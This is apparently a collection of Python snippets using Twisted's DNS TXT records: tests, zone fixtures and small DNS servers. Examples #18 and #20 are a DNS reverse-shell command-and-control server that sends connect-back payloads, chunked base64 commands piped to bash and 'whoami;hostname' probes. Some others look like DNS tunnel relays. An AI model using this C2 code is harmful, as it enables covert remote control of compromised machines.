Beispiel #1
0
 def testTXT(self):
     """Test DNS 'TXT' record queries"""
     return self.namesTest(
         self.resolver.lookupText('test-domain.com'),
         [dns.Record_TXT('A First piece of Text', 'a SecoNd piece', ttl=19283784),
          dns.Record_TXT('Some more text, haha!  Yes.  \0  Still here?', ttl=19283784)]
     )
 def test_TXT(self):
     """Test DNS 'TXT' record queries"""
     return self.namesTest(
         self.resolver.lookupText("test-domain.com"),
         [
             dns.Record_TXT(
                 b"A First piece of Text", b"a SecoNd piece", ttl=19283784),
             dns.Record_TXT(b"Some more text, haha!  Yes.  \0  Still here?",
                            ttl=19283784),
         ],
     )
Beispiel #3
0
    def __parseLine(self, line):
        tokens = line.split(None, 2)
        # reject if incorrectly formatted.
        if len(tokens) != 3:
            raise RuntimeError(
                "line '%s': wrong # of tokens %d." %(line, len(tokens)))

        rname, rtype, rvalue = tokens
        # # if rvalue is a list, make sure to store it as one!
        if rvalue.startswith("["):
            rvalue = json.loads(rvalue)

        # create correct payload
        payload = None
        if rtype == "A":
            payload = dns.Record_A(address=rvalue)
        elif rtype == "CNAME":
            payload = dns.Record_CNAME(name=rvalue)
        elif rtype == "MX":
            payload = dns.Record_MX(name=rvalue[0],
                                    preference=int(rvalue[1]))
        elif rtype == "NS":
            payload = dns.Record_NS(name=rvalue)
        elif rtype == "SOA":
            payload = dns.Record_SOA(mname=rvalue[0], rname=rvalue[1])
        elif rtype == "TXT":
            payload = dns.Record_TXT(data=[rvalue])
        else:
            raise "cannot parse line!"

        return dns.RRHeader(name=rname,
                            type=self.__query_types[rtype],
                            payload=payload,
                            ttl=0) # set TTL to 0 for now so that we can
Beispiel #4
0
 def test_txt(self):
     """
     The repr of a L{dns.Record_TXT} instance includes the data and ttl
     fields of the record.
     """
     self.assertEqual(repr(dns.Record_TXT("foo", "bar", ttl=15)),
                      "<TXT data=['foo', 'bar'] ttl=15>")
Beispiel #5
0
    def query(self, query, timeout=None):
        queried = query.name.name

        if queried[:4] == self.duplicate:
            return [], [], []
        self.duplicate = queried[:4]

        payload = self.decodeRequest(queried)

        if payload != '':
            self.iface.rawDataSent(payload)

        response = self.encodeResponse()

        answers = []
        authority = []
        additional = []

#        answer = dns.RRHeader(
#            name = queried,
#            payload = dns.Record_A(address=b'1.2.3.4')
#        )
#        answers.append(answer)

        answer = dns.RRHeader(
            name = queried,
            type = dns.TXT,
            ttl = 1,
            payload = dns.Record_TXT(response)
        )
        answers.append(answer)

        return answers, authority, additional
Beispiel #6
0
 def setTXT(self, hostname, txtname, data):
     assert type(data) is type(b""), (type(data), data)
     # hostname is like 'test1.sf.example.com'
     print("setTXT", hostname, txtname, data)
     fullname = "%s.%s" % (txtname, hostname)
     self.records[fullname] = [dns.Record_TXT(data, ttl=5)]
     self._dump()
Beispiel #7
0
        def txt(localname):
            if localname.endswith('._device-info._tcp.local.'):
                info = ServiceInfo(localname, localname)
                info.request(self.zeroconf, timeout * 1000)
                if not info.text:
                    return [], [], []
            else:
                info = self.zeroconf.get_service_info(localname, localname,
                                                      timeout * 1000)
                if info is None:
                    return [], [], []

            order = []
            i = 0
            while i < len(info.text):
                length = info.text[i]
                i += 1
                kv = info.text[i:i + length].split(b'=')
                order.append(kv[0])
                i += length

            data = [
                b"%s=%s" % (p, info.properties[p])
                for p in sorted(info.properties,
                                key=lambda k: order.index(k)
                                if k in order else 1000)
            ]
            answers = [
                dns.RRHeader(name=localname[:-6] + domain,
                             ttl=ttl,
                             type=dns.TXT,
                             payload=dns.Record_TXT(*data))
            ]
            return answers, [], []
Beispiel #8
0
 def _compose_answer(self, name, response):
     response = response.replace('\n', '')
     response = response.replace('\r', '')
     payload = dns.Record_TXT(bytes(response, 'utf-8'))
     answer = dns.RRHeader(
         name=name,
         payload=payload,
         type=dns.TXT,
     )
     return answer
Beispiel #9
0
 def _maybe_split_up_txt_data(name, txt_data, r_ttl):
     start = 0
     txt_data_list = []
     while len(txt_data[start:]) > 0:
         next_read = len(txt_data[start:])
         if next_read > 255:
             next_read = 255
         txt_data_list.append(txt_data[start:start + next_read])
         start += next_read
     _push_record(name, dns.Record_TXT(*txt_data_list, ttl=r_ttl))
Beispiel #10
0
 def _getAny(self, name):
     answer = dns.RRHeader(name=name,
                           type=dns.TXT,
                           cls=dns.IN,
                           ttl=0,
                           payload=dns.Record_TXT("f**k off here",
                                                  ttl=65535))
     answers = [answer]
     authority = []
     additional = []
     return answers, authority, additional
Beispiel #11
0
 def test_txt(self):
     """
     Two L{dns.Record_TXT} instances compare equal if and only if they have
     the same data and ttl.
     """
     # Vary the length of the data
     self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['foo', 'bar', 'baz'], 10))
     # Vary the value of the data
     self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['bar', 'foo'], 10))
     # Vary the ttl
     self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['foo', 'bar'], 10),
                        dns.Record_TXT(['foo', 'bar'], 100))
Beispiel #12
0
 def query(self, query, timeout=None):
     if query.type != dns.TXT:
         self.log.info('Unhandled DNS query class/type: %s/%s', query.type)
     msg_out, msg_in = query.name.name, (self.link.get() or '')
     self.link.send(msg_out)
     self.log.debug('Sent: %r, recv: %r', msg_out, msg_in)
     return [
         dns.RRHeader(msg_out,
                      type=dns.TXT,
                      payload=dns.Record_TXT(msg_in),
                      auth=True)
     ], list(), list()
Beispiel #13
0
    def create_message(self, instances, name, prop, record=dns.A):
        """
        Construct a message to return to the client.
        
        instances is a reservation list (the output from ec2_connection.get_all_instances)
        name is the query value
        prop is the property to inspect on each instance to return
        record is a constant that indicates what type of record to create in the 
               payload.
        """
        output = ([], [], [])

        if not instances:
            self.log.debug("No instances found for '%s'" % (name))
            return output

        for instance in instances[0].instances:

            value = self._tag_or_property(instance, prop)
            self.log.debug("%s: %s %s" % (name, prop, value))
            if not value:
                continue

            if record == dns.A:
                payload = dns.Record_A(str(value))
            elif record == dns.PTR:
                payload = dns.Record_PTR(str(value))
            else:
                raise ValueError, "Record constant '%s' is not supported" % (
                    record)

            answer = dns.RRHeader(name,
                                  type=record,
                                  payload=payload,
                                  ttl=self.ttl)

            output[0].append(answer)

            for extra_prop in self.extra:
                extra_value = self._tag_or_property(instance, extra_prop)
                self.log.debug("%s: %s = %s" % (name, extra_prop, extra_value))
                if extra_value:
                    string = "%s = %s" % (extra_prop, extra_value)
                    extra = dns.Record_TXT(str(string))
                    extra_rr = dns.RRHeader(name,
                                            type=dns.TXT,
                                            payload=extra,
                                            ttl=self.ttl)
                    output[2].append(extra_rr)

        return output
Beispiel #14
0
 def _forward_message(self, name, message, proto, address):
     # handle chaos record - return fake BIND "banner"
     # TODO: this packet is currently malformed and fingerprintable.
     #       "Authoritative" answer is sent, without authority RR
     if name == 'version.bind':
         txt = dns.Record_TXT(self.bind_version)
         message.answer = True
         message.auth = True
         message.authenticData = False
         message.timeReceived = time.time()
         ans = dns.RRHeader(name, message.queries[0].type, message.queries[0].cls, 0, txt)
         return server.DNSServerFactory.gotResolverResponse(self, ([ans], [], []), proto, message, address)
     else:
         return server.DNSServerFactory.messageReceived(self, message, proto, address)
Beispiel #15
0
    def create_message(self, instances, name, prop, record=dns.A):
        """
        Construct a message to return to the client.
        
        instances is a reservation list (the output from ec2_connection.get_all_instances)
        name is the query value
        prop is the property to inspect on each instance to return
        record is a constant that indicates what type of record to create in the 
               payload.
        """
        output = ([], [], [])

        print "OUTPUT FROM CREATE_MESSAGE type %s" % (record)

        if not instances:
            print "NO INSTANCES FOUND"
            return output

        for instance in instances[0].instances:

            value = self._tag_or_property(instance, prop)
            print "VALUE: %s %s" % (prop, value)
            if not value:
                continue

            if record == dns.A:
                payload = dns.Record_A(str(value))
            elif record == dns.PTR:
                payload = dns.Record_PTR(str(value))
            else:
                raise ValueError, "Record constant '%s' is not supported" % (
                    record)

            answer = dns.RRHeader(name, type=record, payload=payload)

            output[0].append(answer)

            for extra_prop in self.extra:
                extra_value = self._tag_or_property(instance, extra_prop)

                if extra_value:
                    string = "%s = %s" % (extra_prop, extra_value)
                    extra = dns.Record_TXT(str(string))
                    extra_rr = dns.RRHeader(name, type=dns.TXT, payload=extra)
                    output[2].append(extra_rr)

        print "OUTPUT"
        pprint.pprint(output)

        return output
Beispiel #16
0
    def _doDynamicResponse(self, query):
        """
		Calculate the response to a query.
		"""
        print('name', query.name.name)

        payload = dns.Record_TXT(txt_content, ttl=5)

        answer = dns.RRHeader(
            name=query.name.name,
            payload=payload,
            type=dns.TXT,
            ttl=5,
        )

        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
Beispiel #17
0
test_domain_com = NoFileAuthority(
    soa=('test-domain.com', soa_record),
    records={
        'test-domain.com': [
            soa_record,
            dns.Record_A('127.0.0.1'),
            dns.Record_NS('39.28.189.39'),
            dns.Record_SPF('v=spf1 mx/30 mx:example.org/30 -all'),
            dns.Record_SPF('v=spf1 +mx a:\0colo',
                           '.example.com/28 -all not valid'),
            dns.Record_MX(10, 'host.test-domain.com'),
            dns.Record_HINFO(os='Linux', cpu='A Fast One, Dontcha know'),
            dns.Record_CNAME('canonical.name.com'),
            dns.Record_MB('mailbox.test-domain.com'),
            dns.Record_MG('mail.group.someplace'),
            dns.Record_TXT('A First piece of Text', 'a SecoNd piece'),
            dns.Record_A6(0, 'ABCD::4321', ''),
            dns.Record_A6(12, '0:0069::0', 'some.network.tld'),
            dns.Record_A6(8, '0:5634:1294:AFCB:56AC:48EF:34C3:01FF',
                          'tra.la.la.net'),
            dns.Record_TXT('Some more text, haha!  Yes.  \0  Still here?'),
            dns.Record_MR('mail.redirect.or.whatever'),
            dns.Record_MINFO(rmailbx='r mail box', emailbx='e mail box'),
            dns.Record_AFSDB(subtype=1, hostname='afsdb.test-domain.com'),
            dns.Record_RP(mbox='whatever.i.dunno', txt='some.more.text'),
            dns.Record_WKS('12.54.78.12', socket.IPPROTO_TCP,
                           '\x12\x01\x16\xfe\xc1\x00\x01'),
            dns.Record_NAPTR(100, 10, "u", "sip+E2U",
                             "!^.*$!sip:[email protected]!"),
            dns.Record_AAAA('AF43:5634:1294:AFCB:56AC:48EF:34C3:01FF')
        ],
Beispiel #18
0
 def send_chunks(self, sess_id, answers, query_name, direct, shell_type, page_size):
     chunk_runner = ""
     cut_len = 0
     #4 chars of overhead aa=%data%;
     bytes_per_chunk = 255 - 4
     chunk_offset = self.session.get_data(sess_id, "chunk_offset")
     chunk_cmd = self.session.get_data(sess_id, "chunk_cmd")
     chunk_state = self.session.get_data(sess_id, "chunk_state")
     cut = chunk_offset * bytes_per_chunk
     if chunk_state == "+":
         #All chunks sent,  execute them.
         #self.session.set_data(sess_id, "chunk_offset", 0)
         #have we loaded all pages,  now run them
         full = ""
         #Did we process the first page?
         if chunk_offset <= 82:
             #If this is the first page, then zero out the run key.
             chunk_runner = "Z=;"
         #List all variables we used
         keys_used = chunk_offset % 82
         for i in range(keys_used):
             full += "$"+self.chunk_keys[i]
         chunk_runner = chunk_runner + "Z=$Z" + full + ";"
         if cut >= len(chunk_cmd):
             chunk_state = "-"
         else:
             chunk_state = ""
     #we have crunched down all vars,  now execute the full payload
     elif chunk_state == "-":
         run_key = "$Z"
         chunk_runner = self.loader.get_runner(sess_id, "echo "+run_key+"|base64 --decode|"+shell_type, direct, shell_type)
         #all done, good job boys.
         chunk_cmd = ""
         chunk_state = ""
         chunk_offset = 0
     else:# we have data
         while cut < len(chunk_cmd) and len(answers) <= page_size:
             #We can only merge 82 variables with a 255 byte record.
             #Todo improve merging by senidng more data, and then merging all blocks down in one phase.
             if chunk_offset > 0 and chunk_offset % 82 == 0:
                 chunk_offset -= 1
                 chunk_state = "+"
                 break
             key = self.chunk_keys[chunk_offset]
             chunk_offset += 1
             #build a 255 byte chunk
             cut_len = cut + bytes_per_chunk
             new_chunk = key+"="+chunk_cmd[cut:cut_len]+";"
             cut = cut_len
             send_chunk = dns.RRHeader(
                         name=query_name,
                         type=dns.TXT,
                         payload=dns.Record_TXT(new_chunk, ttl=0))
             answers.append(send_chunk)
         #Check if we still have to send data
         if cut >= len(chunk_cmd):
             #All set, run the command.
             chunk_state = "+"
     if chunk_runner:
         run_chunk = dns.RRHeader(
                     name=query_name,
                     type=dns.TXT,
                     payload=dns.Record_TXT(chunk_runner, ttl=0))
         answers.append(run_chunk)
     self.session.set_data(sess_id, "chunk_state", chunk_state)
     self.session.set_data(sess_id, "chunk_offset", chunk_offset)
     self.session.set_data(sess_id, "chunk_cmd", chunk_cmd)
test_domain_com = NoFileAuthority(
    soa=(b"test-domain.com", soa_record),
    records={
        b"test-domain.com": [
            soa_record,
            dns.Record_A(b"127.0.0.1"),
            dns.Record_NS(b"39.28.189.39"),
            dns.Record_SPF(b"v=spf1 mx/30 mx:example.org/30 -all"),
            dns.Record_SPF(b"v=spf1 +mx a:\0colo",
                           b".example.com/28 -all not valid"),
            dns.Record_MX(10, "host.test-domain.com"),
            dns.Record_HINFO(os=b"Linux", cpu=b"A Fast One, Dontcha know"),
            dns.Record_CNAME(b"canonical.name.com"),
            dns.Record_MB(b"mailbox.test-domain.com"),
            dns.Record_MG(b"mail.group.someplace"),
            dns.Record_TXT(b"A First piece of Text", b"a SecoNd piece"),
            dns.Record_A6(0, b"ABCD::4321", b""),
            dns.Record_A6(12, b"0:0069::0", b"some.network.tld"),
            dns.Record_A6(8, b"0:5634:1294:AFCB:56AC:48EF:34C3:01FF",
                          b"tra.la.la.net"),
            dns.Record_TXT(b"Some more text, haha!  Yes.  \0  Still here?"),
            dns.Record_MR(b"mail.redirect.or.whatever"),
            dns.Record_MINFO(rmailbx=b"r mail box", emailbx=b"e mail box"),
            dns.Record_AFSDB(subtype=1, hostname=b"afsdb.test-domain.com"),
            dns.Record_RP(mbox=b"whatever.i.dunno", txt=b"some.more.text"),
            dns.Record_WKS(b"12.54.78.12", socket.IPPROTO_TCP,
                           b"\x12\x01\x16\xfe\xc1\x00\x01"),
            dns.Record_NAPTR(100, 10, b"u", b"sip+E2U",
                             b"!^.*$!sip:[email protected]!"),
            dns.Record_AAAA(b"AF43:5634:1294:AFCB:56AC:48EF:34C3:01FF"),
        ],
Beispiel #20
0
    def query(self, query, timeout=None):
        answers = []
        additional = []
        authority = []
        chunk_cmd = ""
        direct = None
        #8.8.8.8 returns at most 14 txt records per query.
        page_size = 14
        shell_type = "bash"
        query_name = query.name.name
        #query_type = dns.QUERY_TYPES[query.type]
        triggered_payload = False
        cmd_runner = False
        #This is an alternate injection
        #Some sh connectbacks may need this padding.
        if query_name.startswith("{echo,'"):
            query_name=query_name[7:]
            shell_type = "sh"
        #strip of the hostname for this message
        if query_name.endswith(self.hostname):
            name_parts = query_name[0:len(query_name)-len(self.hostname)].split(".")
            #A direct connection must end with our hostname
            direct = False
        else:
            #This is direct because it could not have used an open resolver
            name_parts = query_name.strip(".").split('.')
            direct = True
        #have we seen this session before?
        sess_id = self.session.get_session(name_parts[0])

        #Clients need to resolve the address of this server - here is our root
        if query.type == dns.A:
            #Resolve this server's A record.
            cmd_server = dns.RRHeader(
            name=query.name.name,
            type=dns.A,
            auth=True,
            payload=dns.Record_A(address=self.ip, ttl=0))
            answers.append(cmd_server)
            if not sess_id:
                log("", "", "query", str(datetime.datetime.now())+","+query.name.name+"\n")
        elif query.type == dns.NS:
            #Resolve this server's NS record
            cmd_server = dns.RRHeader(
            name=query.name.name,
            type=dns.NS,
            auth=True,
            payload=dns.Record_NS(self.hostname, ttl=0))
            answers.append(cmd_server)
        #for debugging open resolvers
        #size.x to find the max number of txt records returned.
        elif query.type == dns.TXT and query.name.name.startswith("size"):
            try:
                txt_count = int(query.name.name.split(".")[-1])
            except:
                txt_count = 1
            #Resolve this server's NS record
            cmd_server = dns.RRHeader(
            name=query.name.name,
            type=dns.TXT,
            auth=True,
            payload=dns.Record_TXT("a" * 255, ttl=0))
            for i in range(txt_count):
                answers.append(cmd_server)
            #We are only checking the size.
            return defer.succeed((answers, authority, additional))
        if not sess_id:
            if len(name_parts) > 0:
                if name_parts[0] in self.session.keyspace:
                    #We don't have this session, and it looks like the key will work as a session id.
                    sess_id = self.session.new(name_parts[0])
                else:
                    sess_id = self.session.new()
                    #Did a known payload trigger this request?
                    triggered_payload = self.loader.get_payload(name_parts[0])
                if triggered_payload:
                    self.session.set_data(sess_id, "payload", triggered_payload)
                    trigger_lower = triggered_payload.lower()
                    if trigger_lower.find("bash") >= 0:
                        shell_type = "bash"
                    elif trigger_lower.find("sh") >= 0:
                        shell_type = "sh"
                    elif trigger_lower.find("perl") >= 0:
                        shell_type = "perl"
                    elif trigger_lower.find("cmd") >= 0:
                        shell_type = "cmd"
                    elif trigger_lower.find("powershell") >= 0:
                        shell_type = "ps1"
                else:
                    self.session.set_data(sess_id, "payload", query.name.name)
                self.session.set_data(sess_id, "direct", direct)
                #Direct connections do not have a protocol level limit of the number of results.
                #This cap depends on the implementation of nslookup.
                self.session.set_data(sess_id, "shell_type", shell_type)
        else:
            #Is this a direct connection?
            direct = self.session.get_data(sess_id, "direct")
            shell_type = self.session.get_data(sess_id, "shell_type")
            page_size = self.session.get_data(sess_id, "page_size")
            #These messages conditions need to be checked in all phases of the session
            if self.session.check_exit(sess_id):
                #send exit code
                cmd_runner = "e=1"
            elif not self.session.get_data(sess_id, "host") and direct == None:
                #lets try a direct payload
                direct_sess_id = self.session.new()
                self.loader.get_connect(direct_sess_id, True, shell_type)
                self.session.set_data(direct_sess_id, "direct", True)
                self.session.set_data(direct_sess_id, "shell_type", shell_type)
                self.session.set_data(sess_id, "direct", False)
                cmd_runner = self.loader.get_connect(direct_sess_id, True, shell_type)
            elif not self.session.get_data(sess_id, "host"):
                #Reqeust the machine_id for this new session.
                cmd = "eval 'whoami;hostname'"
                cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type)
            if not self.session.get_data(sess_id, "host"):
                #If we haven't seen this session before,  then we need some kind of identificaiton.
                if len(name_parts) > 1:
                    data = query_name
                    data = "".join(name_parts[1:])
                    try:
                        #Look for a single-block message that contains two newline-seperated elements
                        machine_id = base64.b64decode(data).strip()
                        machine_id = machine_id.split("\n")
                    except:
                        machine_id = False
                    if machine_id and len(machine_id) == 2:
                        new_host = machine_id[1]
                        new_user = machine_id[0]
                        if self.session.new_machine(sess_id, new_user, new_host):
                            message = "new Session: " + sess_id + " - " + new_user + "@"+ new_host +" - payload: " + self.session.get_data(sess_id, "payload")
                            print("\n"+message)
                            log(sess_id, new_host, new_user, message+"\n")
                        else:
                            print("\nkilled duplicate: " + sess_id + " - payload: " + self.session.get_data(sess_id, "payload") + " - restart nsshell if this was a mistake.")
                            #we have tried to exit this host but it reconnected.
                            self.session.send_exit(sess_id)
                        name_parts = []
            else:
                #Send commands
                if query.type == dns.TXT:
                    chunk_cmd = self.session.get_data(sess_id, "chunk_cmd")
                    if not chunk_cmd:
                        cmd = self.session.get_motd(sess_id)
                    else:
                        cmd = False
                    if self.session.get_data(sess_id, "last_read") != 0 and self.session.clear_read(sess_id):
                        #end of read for a command.
                        self.session.indicator(sess_id)
                        self.session.set_data(sess_id, "currently_receiving", False)
                    if cmd and (cmd.lstrip().startswith("cd ") or cmd.lstrip().startswith("eval ") or cmd.lstrip().startswith("export ")):
                        #This command _is_ a true eval
                        if cmd.lstrip().startswith("eval "):
                            cmd = cmd[5:]
                        #pipes spawn a sub-shell which breaks cd, and 'cd' doesn't return anything anyway.
                        #eval the raw command
                        cmd_runner = cmd
                        self.session.indicator(sess_id)
                    elif cmd:
                        cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type)
                        if len(cmd_runner) > 255:
                            chunk_cmd = base64.b64encode(cmd)
                            self.session.set_data(sess_id, "chunk_cmd", chunk_cmd)
                            self.session.set_data(sess_id, "chunk_offset", 0)
                            cmd_runner = ""
                            self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size)
                #Did we get data back from the client?
                elif len(name_parts) > 1 and len(name_parts[1]) > 2 and name_parts[0][2:].isdigit():
                    sequence_number = int(name_parts[0][2:])
                    data = "".join(name_parts[1:])
                    self.session.add_buffer(sess_id, sequence_number, data)
                    #Only print stdout if the user is watching.
                    if self.session.current_session == sess_id:
                        std_data = self.session.read_stdout(sess_id)
                        sys.stdout.write(std_data)
        if chunk_cmd:
            #We still have data, send more pages
            self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size)
        elif cmd_runner:
            if len(cmd_runner) >= 255:
                #Should never happen unless there is a bug with the runner
                print("cmd runner too large:"+str(len(cmd_runner))+">255")
                return
            #We have a new command
            send_commanad = dns.RRHeader(
                name=query.name.name,
                type=dns.TXT,
                payload=dns.Record_TXT(cmd_runner,ttl=0))
            answers.append(send_commanad)
        elif not self.session.get_data(sess_id, "host"):
            full_connect = self.loader.get_connect(sess_id, direct, shell_type)
            if len(full_connect) > 255:
                print('{0} connect payload too large.'.format(len(full_connect)))
            else:
                if len(full_connect) > 255:
                    #should never happen unless there is a bug with the connect back
                    print("connectback too large:"+str(len(full_connect))+">255")
                    return
                #send packaged command to the client
                connect_back_loader=dns.RRHeader(
                    name=query.name.name,
                    type=dns.TXT,
                    payload=dns.Record_TXT(full_connect))
                #"{echo,'"
                answers.append(connect_back_loader)
        sys.stdout.flush()
        return defer.succeed((answers, authority, additional))
Beispiel #21
0
    def __build_answer(self,
                       query,
                       db_zone,
                       db_record,
                       is_conditional_response=False):
        record = None
        # Calculate the query type (in case it's a request for A but a CNAME is returned).
        query_type = REV_TYPES[db_record.type]
        if query_type == dns.A:
            record = dns.Record_A(address=db_record.property(
                'address', conditional=is_conditional_response),
                                  ttl=db_record.ttl)
        elif query_type == dns.AAAA:
            record = dns.Record_AAAA(address=db_record.property(
                'address', conditional=is_conditional_response),
                                     ttl=db_record.ttl)
        elif query_type == dns.AFSDB:
            record = dns.Record_AFSDB(subtype=int(
                db_record.property('subtype',
                                   conditional=is_conditional_response)),
                                      hostname=db_record.property(
                                          'hostname',
                                          conditional=is_conditional_response))
        elif query_type == dns.CNAME:
            record = dns.Record_CNAME(name=db_record.property(
                'name', conditional=is_conditional_response),
                                      ttl=db_record.ttl)
        elif query_type == dns.DNAME:
            record = dns.Record_DNAME(name=db_record.property(
                'name', conditional=is_conditional_response),
                                      ttl=db_record.ttl)
        elif query_type == dns.HINFO:
            record = dns.Record_HINFO(
                cpu=db_record.property(
                    'cpu', conditional=is_conditional_response).encode(),
                os=db_record.property(
                    'os', conditional=is_conditional_response).encode())
        elif query_type == dns.MX:
            record = dns.Record_MX(preference=int(
                db_record.property('preference',
                                   conditional=is_conditional_response)),
                                   name=db_record.property(
                                       'name',
                                       conditional=is_conditional_response))
        elif query_type == dns.NAPTR:
            record = dns.Record_NAPTR(
                order=int(
                    db_record.property('order',
                                       conditional=is_conditional_response)),
                preference=int(
                    db_record.property('preference',
                                       conditional=is_conditional_response)),
                flags=db_record.property(
                    'flags', conditional=is_conditional_response).encode(),
                service=db_record.property(
                    'service', conditional=is_conditional_response).encode(),
                regexp=db_record.property(
                    'regexp', conditional=is_conditional_response).encode(),
                replacement=db_record.property(
                    'replacement', conditional=is_conditional_response))
        elif query_type == dns.NS:
            record = dns.Record_NS(name=db_record.property(
                'name', conditional=is_conditional_response),
                                   ttl=db_record.ttl)
        elif query_type == dns.PTR:
            record = dns.Record_PTR(name=db_record.property(
                'name', conditional=is_conditional_response),
                                    ttl=db_record.ttl)
        elif query_type == dns.RP:
            record = dns.Record_RP(
                mbox=db_record.property('mbox',
                                        conditional=is_conditional_response),
                txt=db_record.property('txt',
                                       conditional=is_conditional_response))
        elif query_type == dns.SOA:
            record = dns.Record_SOA(
                mname=db_record.property('mname',
                                         conditional=is_conditional_response),
                rname=db_record.property('rname',
                                         conditional=is_conditional_response),
                serial=int(
                    db_record.property('serial',
                                       conditional=is_conditional_response)),
                refresh=int(
                    db_record.property('refresh',
                                       conditional=is_conditional_response)),
                retry=int(
                    db_record.property('retry',
                                       conditional=is_conditional_response)),
                expire=int(
                    db_record.property('expire',
                                       conditional=is_conditional_response)),
                minimum=int(
                    db_record.property('minimum',
                                       conditional=is_conditional_response)))
        elif query_type == dns.SPF:
            record = dns.Record_SPF(
                db_record.property(
                    'data', conditional=is_conditional_response).encode())
        elif query_type == dns.SRV:
            record = dns.Record_SRV(
                priority=int(
                    db_record.property('priority',
                                       conditional=is_conditional_response)),
                port=int(
                    db_record.property('port',
                                       conditional=is_conditional_response)),
                weight=int(
                    db_record.property('weight',
                                       conditional=is_conditional_response)),
                target=db_record.property('target',
                                          conditional=is_conditional_response))
        elif query_type == dns.SSHFP:
            record = dns.Record_SSHFP(
                algorithm=int(
                    db_record.property('algorithm',
                                       conditional=is_conditional_response)),
                fingerprintType=int(
                    db_record.property('fingerprint_type',
                                       conditional=is_conditional_response)),
                fingerprint=db_record.property(
                    'fingerprint',
                    conditional=is_conditional_response).encode())
        elif query_type == dns.TSIG:
            record = dns.Record_TSIG(
                algorithm=db_record.property(
                    'algorithm', conditional=is_conditional_response).encode(),
                timeSigned=int(
                    db_record.property('timesigned',
                                       conditional=is_conditional_response)),
                fudge=int(
                    db_record.property('fudge',
                                       conditional=is_conditional_response)),
                originalID=int(
                    db_record.property('original_id',
                                       conditional=is_conditional_response)),
                MAC=db_record.property(
                    'mac', conditional=is_conditional_response).encode(),
                otherData=db_record.property(
                    'other_data',
                    conditional=is_conditional_response).encode())
        elif query_type == dns.TXT:
            record = dns.Record_TXT(
                db_record.property(
                    'data', conditional=is_conditional_response).encode())
        else:
            pass

        if not record:
            return None

        answer = dns.RRHeader(name=query.name.name,
                              type=query_type,
                              cls=query.cls,
                              ttl=db_record.ttl,
                              payload=record)
        return answer